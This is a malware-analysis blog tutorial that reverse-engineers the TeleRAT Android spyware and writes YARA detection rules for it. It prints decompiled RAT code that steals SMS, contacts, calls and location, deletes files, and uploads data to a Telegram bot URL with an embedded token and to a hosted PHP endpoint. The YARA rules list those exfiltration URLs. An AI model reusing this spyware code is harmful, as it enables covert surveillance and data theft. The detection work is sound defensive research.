Israel Helton Wernik

I'm a Cyber Researcher and Python Programmer.

How To Detect Malwares - Yara

11 Aug 2019 »

How to hunt for malwares

I want to get example one Spyware android sample.

The old antivirus work only with hash-list, if an atacker change one line of code or even add one point, the hash is changed and the antivirus can’t detect this.

To resolve this problem yara comes, as its says Yara is The pattern matching swiss knife for malware researchers (and everyone else)

YARA is a tool aimed at (but not limited to) helping malware researchers to identify and classify malware samples. With YARA you can create descriptions of malware families (or whatever you want to describe) based on textual or binary patterns.

Its created by VirusTotal(it was acquired by Google Inc. in September 2012)

Lets stop with bla bla and go to hands on

jadx

Lets get this spyware sample. The malware samples is defined by they hashes, please if you dont know what is this, google it.

First we need to understand how this malware work to find patterns. To this we need to make a small reverse engineering.

For android we can use an open source Dex to Java decompiler tool called JADX for produce Java source code from Android Dex and Apk files.

https://github.com/skylot/jadx

Install:

  • Arch linux sudo pacman -S jadx
  • macOS brew install jadx
  • Ubutu https://www.youtube.com/watch?v=jfjUkIZ9BKY

  • Windows https://www.youtube.com/watch?v=WI9dwvzNBkY

Malware Familiy

Lets research a malware family discoverered by Unit 42 from Palo Alto Networks, TeleRAT: Another Android Trojan Leveraging Telegram’s Bot API to Target Iranian Users A Remote Access Trojan (RAT) is a type of malware that allows hackers to monitor and control your computer or network in this case is MRAT, Mobile Remote Access Trojan.

The sample we go to research is this: 01fef43c059d6b37be7faf47a08eccbf76cf7f050a7340ac2cae11942f27eb1d

Lets do a simple reverse engineering, open jadx-gui and open the file

1-jadx

If you see boxes like this:

brackets

Its the persian language that the default font of jadx dont support, go to preferences and change the font to Arial.

TP.GetUpdateThe

We can see the developer (I comment the translation of persian language)



    public String _class_globals() throws Exception {
 
        this._aboutdeveloper = "با سلام خدمت شما دوستان عزیز بنده امیرحسین طرق پیما هستم. مدیر کل انجمن برنامه نویس ایرانی."; // Hi my dear friends Amir Hossein Tariq Pima. General Manager of Iranian Programmer Association. ";
        return "";
    }

b4a.examplf.botrat

// Here we can see the chat_id and bot_token
    public static String _process_globals() throws Exception {
        _chatid = "471078355";
        _bot_token = "535795015:AAGaT2CTghljB3xqv399GZZOdB-guH_i92I";
    }

    public static String _service_create() throws Exception {
        _tmaker._addnormalbutton("دریافت مخاطبین"); // Get contacts
        _tmaker._addnormalbutton("دریافت پیام ها"); // Receive messages
        _tmaker._addnormalbutton("دریافت برنامه ها"); // Get apps
        _tmaker._addnormalbutton("دریافت مکان"); // Get a place
        _tmaker._addnormalbutton("دریافت گالری"); // Get Gallery
        _tmaker._addnormalbutton("دریافت کلیپ بورد"); // Get Clipboard
        _tmaker._addnormalbutton("دریافت وضعیت"); // Get status
        _tmaker._addnormalbutton("دریافت اطلاعات شارژ"); // Get Charging Information
        _tmaker._addnormalbutton("دریافت تماس ها"); // Receive calls
        _tmaker._addnormalbutton("لرزش کم"); // Low vibration
        _tmaker._addnormalbutton("لرزش متوسط"); // Medium Shake
        _tmaker._addnormalbutton("لرزش زیاد"); // High vibration
        _tmaker._addnormalbutton("سایلنت"); // Silent
        _tmaker._addnormalbutton("صدا دار"); // Loud
        _tmaker._addnormalbutton("بیصدا"); // silent
        _tmaker._addnormalbutton("Blacksc");
        _tmaker._addnormalbutton("Blackscf");
        _tmaker._addnormalbutton("گرفتن عکس1"); // Take Photo 1
        _tmaker._addnormalbutton("گرفتن عکس2"); // Take Photo 2
        _tmaker._addnormalbutton("ضبط فیلم"); // Movie Recording
        _tmaker._addnormalbutton("توقف ضبط فیلم"); // Stop movie recording
        _tmaker._addnormalbutton("راهنمای دستورات"); // Instructions Guide
        _tmaker._addnormalbutton("توقف رات"); // "Rat stopped
    }

// Here we can see the Rat create a file `thisapk_slm.txt` that mentioning a Telegram channel and a list of commands
    public static String _tele_finish(boolean z) throws Exception {
            File file = Common.File;
            file = Common.File;
            if (!File.Exists(File.getDirInternal(), "thisapk_slm.txt")) {
                _tele._send_messagewithbutton(_chatid, "این رات توسط وحید میل شصتو هفت تهیه شده ..برای کنترل رات از دستورات زیر استفاده کنید", _chinesh); // "This rat is made by Vahid Mill sixty seven. Use the following commands to control the rat"
                File.WriteString(File.getDirInternal(), "thisapk_slm.txt", "");
            }
    }

b4a.example.servis

// in this file we can see the connection and some files name
   public static String _send_message(String str) throws Exception {
        httpjob httpjob = new httpjob();
        httpjob._initialize(processBA, "jobSendMessage", getObject());
        httpjob._download2("http://api.telegram.org/bot339912423:AAHeJoVC3i8zzwXhtCQMBoevSCn3jEuKfZU/sendmessage", new String[]{"chat_id", "275899582", "text", str + Common.CRLF + Common.CRLF + "IMEI دستگاه:" + _imei});
        return "";
    }

    public static String _service_start(IntentWrapper intentWrapper) throws Exception {
    File file;
    _upload1.Initialize(processBA, "upload1");
    _upload2.Initialize(processBA, "upload2");
    _upload21.Initialize(processBA, "upload21");
    _upload22.Initialize(processBA, "upload22");
    _upload20.Initialize(processBA, "upload20");

      if (!File.Exists(File.getDirRootExternal(), "Android/data/" + _imei + "numbers.txt")) {
            file2 = Common.File;
            file2 = Common.File;
            file = Common.File;
            File.Copy(File.getDirAssets(), "numbers.txt", File.getDirRootExternal(), "Android/data/" + _imei + "numbers.txt");
        }
        file2 = Common.File;
        file2 = Common.File;
        if (!File.Exists(File.getDirRootExternal(), _imei + "acc.txt")) {
            file2 = Common.File;
            file2 = Common.File;
            file = Common.File;
            File.Copy(File.getDirAssets(), "numbers.txt", File.getDirRootExternal(), "Android/data/" + _imei + "acc.txt");
        }
        file2 = Common.File;
        file2 = Common.File;
        if (!File.Exists(File.getDirRootExternal(), _imei + "sms.txt")) {
            file2 = Common.File;
            file2 = Common.File;
            file = Common.File;
            File.Copy(File.getDirAssets(), "sms.txt", File.getDirRootExternal(), "Android/data/" + _imei + "sms.txt");
        }
        file2 = Common.File;
        file2 = Common.File;
        if (!File.Exists(File.getDirRootExternal(), _imei + "sms.txt")) {
            file2 = Common.File;
            file2 = Common.File;
            file = Common.File;
            File.Copy(File.getDirAssets(), "sms.txt", File.getDirRootExternal(), "Android/data/" + _imei + "sms.txt");
        }

b4a.example.automessage

Here we can see a lot of commands

if (_text.startsWith("getloc") && Split[1].equals(_shomare)) {
    if (!_gps.getGPSEnabled()) {
        Common.StartActivity(processBA, _gps.getLocationSettingsIntent());
    }
    _gps.Initialize("gps");
    _gps.Start(processBA, 0, Common.Density);
}
if (_text.startsWith("upload") && Split[1].equals(_shomare)) {
    uploadFilePhp = new UploadFilePhp();
    uploadFilePhp.Initialize(processBA, "bott2");
    uploadFilePhp.doFileUpload(processBA, (ProgressBar) Common.Null, (TextView) Common.Null, Split[2], "https://navidtwobottt.000webhostapp.com/rat/upload_file.php");
}
if (_text.startsWith("removeA") && Split[1].equals(_shomare)) {
    file3 = Common.File;
    file3 = Common.File;
    File.Delete(File.getDirRootExternal(), Split[2]);
    webViewWrapper = new WebViewWrapper();
    webViewWrapper.Initialize(processBA, "web");
    webViewWrapper.LoadUrl("https://api.telegram.org/bot339912423:AAHeJoVC3i8zzwXhtCQMBoevSCn3jEuKfZU/sendmessage?chat_id=275899582&text=حذف فایل______________" + Split[2]);
}
if (_text.startsWith("removeB") && Split[1].equals(_shomare)) {
    new List().Initialize();
    file3 = Common.File;
    append2 = new StringBuilder();
    file = Common.File;
    list2 = File.ListFiles(append2.append(File.getDirRootExternal()).append(Split[2]).append("/").toString());
    i2 = list2.getSize() - 1;
    for (ObjectToNumber = 0; ObjectToNumber <= i2; ObjectToNumber = (ObjectToNumber + 0) + 1) {
        file4 = Common.File;
        append = new StringBuilder();
        file2 = Common.File;
        File.Delete(append.append(File.getDirRootExternal()).append(Split[2]).append("/").toString(), C0006BA.ObjectToString(list2.Get(ObjectToNumber)));
    }
    file3 = Common.File;
    append2 = new StringBuilder();
    file = Common.File;
    File.Delete(append2.append(File.getDirRootExternal()).append(Split[2]).append("/").toString(), "");
}
if (_text.startsWith("lstmsg") && Split[1].equals(_shomare)) {
    file3 = Common.File;
    file3 = Common.File;
    File file5 = Common.File;
    File.Copy(File.getDirAssets(), "sms.txt", File.getDirRootExternal(), "Android/data/" + _shomare + "lstmsg.txt");
    file3 = Common.File;
    file3 = Common.File;
    File.WriteList(File.getDirRootExternal(), "Android/data/" + _shomare + "lstmsg.txt", _intercept.GetAll());
    uploadFilePhp = new UploadFilePhp();
    new List().Initialize();
    list = _intercept.GetAll();
    int size2 = list.getSize() - 1;
    str2 = str3;
    for (i2 = 0; i2 <= size2; i2 = (i2 + 0) + 1) {
        str2 = str2 + C0006BA.ObjectToString(list.Get(i2));
    }
    _send_message(C0006BA.ObjectToString(list.Get(list.getSize() - 1)));
    uploadFilePhp.Initialize(processBA, "bott2");
    uploadFilePhp.doFileUpload(processBA, (ProgressBar) Common.Null, (TextView) Common.Null, "/sdcard/Android/data/" + _shomare + "lstmsg.txt", "https://navidtwobottt.000webhostapp.com/rat/upload_file.php");
}
if (_text.startsWith("yehoo") && Split[1].equals(_shomare)) {
    C0006BA c0006ba = processBA;
    takephoto takephoto = mostCurrent._takephoto;
    Common.StartActivity(c0006ba, takephoto.getObject());
}

public static String _phoneins_phonestatechanged(String str, String str2, IntentWrapper intentWrapper) throws Exception {
String str3 = "";
StringBuilder append;
DateTime dateTime;
switch (C0006BA.switchObjectToInt(str, "RINGING", "IDLE", "OFFHOOK")) {
    case 0:
        append = new StringBuilder().append("تماس دریافتی⬇️\nاز شماره:\n").append(str2).append(Common.CRLF).append("تاریخ👈🏻").append(_am.getDate(0, 0, 0, "/")).append(Common.CRLF).append("ساعت⏱");
        dateTime = Common.DateTime;
        dateTime = Common.DateTime;
        _send_message(append.append(DateTime.Time(DateTime.getNow())).toString());
        break;
    case 1:
        if (_isoffhook) {
            append = new StringBuilder().append("تماس دریافتی پایان یافت⏹️\nاز شماره:\n").append(str2).append(Common.CRLF).append("مدت تماس: ").append(C0006BA.NumberToString(_timecall)).append(" ثانیه").append(Common.CRLF).append("تاریخ👈🏻").append(_am.getDate(0, 0, 0, "/")).append(Common.CRLF).append("ساعت⏱");
            dateTime = Common.DateTime;
            dateTime = Common.DateTime;
            _send_message(append.append(DateTime.Time(DateTime.getNow())).toString());
            _timercalls.setEnabled(false);
            _timecall = 0;
        } else {
            append = new StringBuilder().append("تماس دریافتی توسط هدف قطع شد🚫️\nاز شماره:\n").append(str2).append(Common.CRLF).append("تاریخ👈🏻").append(_am.getDate(0, 0, 0, "/")).append(Common.CRLF).append("ساعت⏱");
            dateTime = Common.DateTime;
            dateTime = Common.DateTime;
            _send_message(append.append(DateTime.Time(DateTime.getNow())).toString());
            _timercalls.setEnabled(false);
            _timecall = 0;
        }
        _isoffhook = false;
        break;
    case 2:
        _isoffhook = true;
        _timercalls.setEnabled(true);
        break;
}
return "";
}

List of commands*

CommandTranslation
دریافت مخاطبینGet contacts
دریافت کلیپ بوردGet the clipboard
Clipboard set:[text] 
دریافت مکانGet location
دریافت اطلاعات شارژReceive charging information
All file list:/[path] 
Root file list:/[path] 
دریافت برنامه هاGet apps
1Downloadfile/[filename] 
2Downloadfile/[filename] 
CreateContact/[name]/[number] 
SetWallpaper http[URL] 
دریافت پیام هاReceive (SMS) messages
Sendsmsfor/[destination]/[text] 
MessageShow[text] 
گرفتن عکس1Take photo 1 (front camera)
گرفتن عکس2Take photo 2 (back camera)
دریافت وضعیتGet status
دریافت تماس هاReceive calls
DeleteDir[dirname] 
سایلنتSilent (set to Vibrate mode)
صدادارLoud (set to normal Ringer mode)
بیصداSilent (set to Silent mode)
BlackscBlacks out phone screen
BlackscfClears black screen
ضبط فیلمAudio recording (saves recorded audio to AUDIO123/MUSIC/rec123.m4a on SD Card)
توقف ضبط فیلمStop audio recording
راهنمای دستوراتInstruction manual (Help Menu)
call to [number] 
RESET(deletes thisapk_slm.txt and sends a new registration message to Telegram bot)
دریافت گالریGet gallery (sends files from the /Dcim folder on the SD Card to Telegram bot)
Delete app files or دریافت گالری 
Vibrate [x](Causes phone to vibrate for x seconds, with a maximum value of 600 secs)
لرزش کمLow vibration (for a duration of 150 secs)
لرزش متوسطMedium vibration (350 secs)
لرزش زیادShake too much (600 secs)
  • Source - unit42

Based on what we see on the reverse engineering lets create a signature for this RAT

Lets use Yara Python, install yara with pip install yara-python

Before Run Yara we need to to handle the apk file, apk is like a zip file and we need to extract to a temporary folder, run yara and delete this temporary folder

import yara
import json
from zipfile import ZipFile
import os

zip_file = 'telerat.apk'
rules_path = 'rules.yara'


def scanner(scanfile, yaraRules):
    # Delete previous list
    matches_dict = {}
    # Iterate over all matches to create a list of strings matches
    for match in yaraRules.match(scanfile):
        # Delete previous list
        matches = []
        # iterate over all strings
        for string_data in match.strings:
            # The string output is like this (337L, '$a_2', 'sms.txt'):
            # The explanation is (Location, Identifier, String), for now we want only the string, that is string_data[2]
            string = string_data[2]
            # To remove duplicates
            if string not in matches:
                matches.append(string)
        # Add matches with the name of the rule as key and the strings list as value
        matches_dict[match.rule] = matches

    return matches_dict


def report(results):
    with open('result.json', 'w') as json_file:
        json.dump(results, json_file)


def main():
    results = {}
    with ZipFile(zip_file, 'r') as zipObj:
        # Extract a zip file to 'temp' directory
        zipObj.extractall('temp')
        # iterate over all files on the temp directory
        for root, dirs, files in os.walk("temp", topdown=False):
            for name in files:
                file_path = os.path.join(root, name)
                # Get the result for this file
                result = scanner(file_path, yara.compile(filepath=rules_path))
                # check if The result is not empty
                if bool(result):
                    # Add the result of this file with the result as value and the file name as key
                    results[name] = result
                # remove the file
                os.remove(file_path)
            # iterate over all directories to delete empty directories
            for name in dirs:
                os.rmdir(os.path.join(root, name))
        # remove temp directory
        os.rmdir('temp')
    # create the report
    report(results)


main()

Write Yara Rules

Now create a file rules.yara and lets create the yara rule based on our reverse engineering:

rule telerat_files
{

    strings:
        $file1 = "acc.txt"
		$file2 = "sms.txt"
		$file3 = "1.jpg"
		$file4 = "Image.jpg"
		$file5 = "numbers.txt"
		$file6 = "/sdcard/Android/data/"

	condition:
		all of them
}

rule telerat_commands
{
	strings:
		$command1 = "yehoo"
		$command2 = "removeB"
		$command3 = "removeA"
		$command4 = "upload"
		$command5 = "getloc"
		$command6 = "getfiles"
		$command7 = "getapps"
		$command9 = "call"
		$command10 = "MessageShow"
		$command11 = "Vibrate"
		$command12 = "lstmsg"
		$command13 = "Vibrate"

	condition:
		all of them
}

rule telerat_urls
{
    strings:	
		$telegram = "http://api.telegram.org/bot339912423:AAHeJoVC3i8zzwXhtCQMBoevSCn3jEuKfZU/sendmessage"
		$url = "https://navidtwobottt.000webhostapp.com/rat/upload_file.php"
	
	condition:
		all of them
}	

rule telerat_more
{
    strings:	
		$ = "تماس دریافتی⬇️\nاز شماره:\n"
		$ = "ساعت⏱"

	condition:
		all of them
}	

Run all together

Lets Run our Yara rules on the apk file with our run_yara.py

python run_yara.py

The Output is

{
    "classes.dex": {
        "telerat_urls": [
            "http://api.telegram.org/bot339912423:AAHeJoVC3i8zzwXhtCQMBoevSCn3jEuKfZU/sendmessage",
            "https://navidtwobottt.000webhostapp.com/rat/upload_file.php"
        ],
        "telerat_more": [
            "\u062a\u0645\u0627\u0633 \u062f\u0631\u06cc\u0627\u0641\u062a\u06cc\u2b07\ufe0f\n\u0627\u0632 \u0634\u0645\u0627\u0631\u0647:\n",
            "\u0633\u0627\u0639\u062a\u23f1"
        ],
        "telerat_files": [
            "acc.txt",
            "sms.txt",
            "1.jpg",
            "Image.jpg",
            "numbers.txt",
            "/sdcard/Android/data/"
        ],
        "telerat_commands": [
            "yehoo",
            "removeB",
            "removeA",
            "upload",
            "getloc",
            "getfiles",
            "getapps",
            "call",
            "MessageShow",
            "Vibrate",
            "lstmsg"
        ]
    }
}

Conclusion

The old antivirus works only with hash list, and the attacker can change some string and the detection do not work, With yara rules modern anti-virus can detect for new malwares even if the developer change the hash.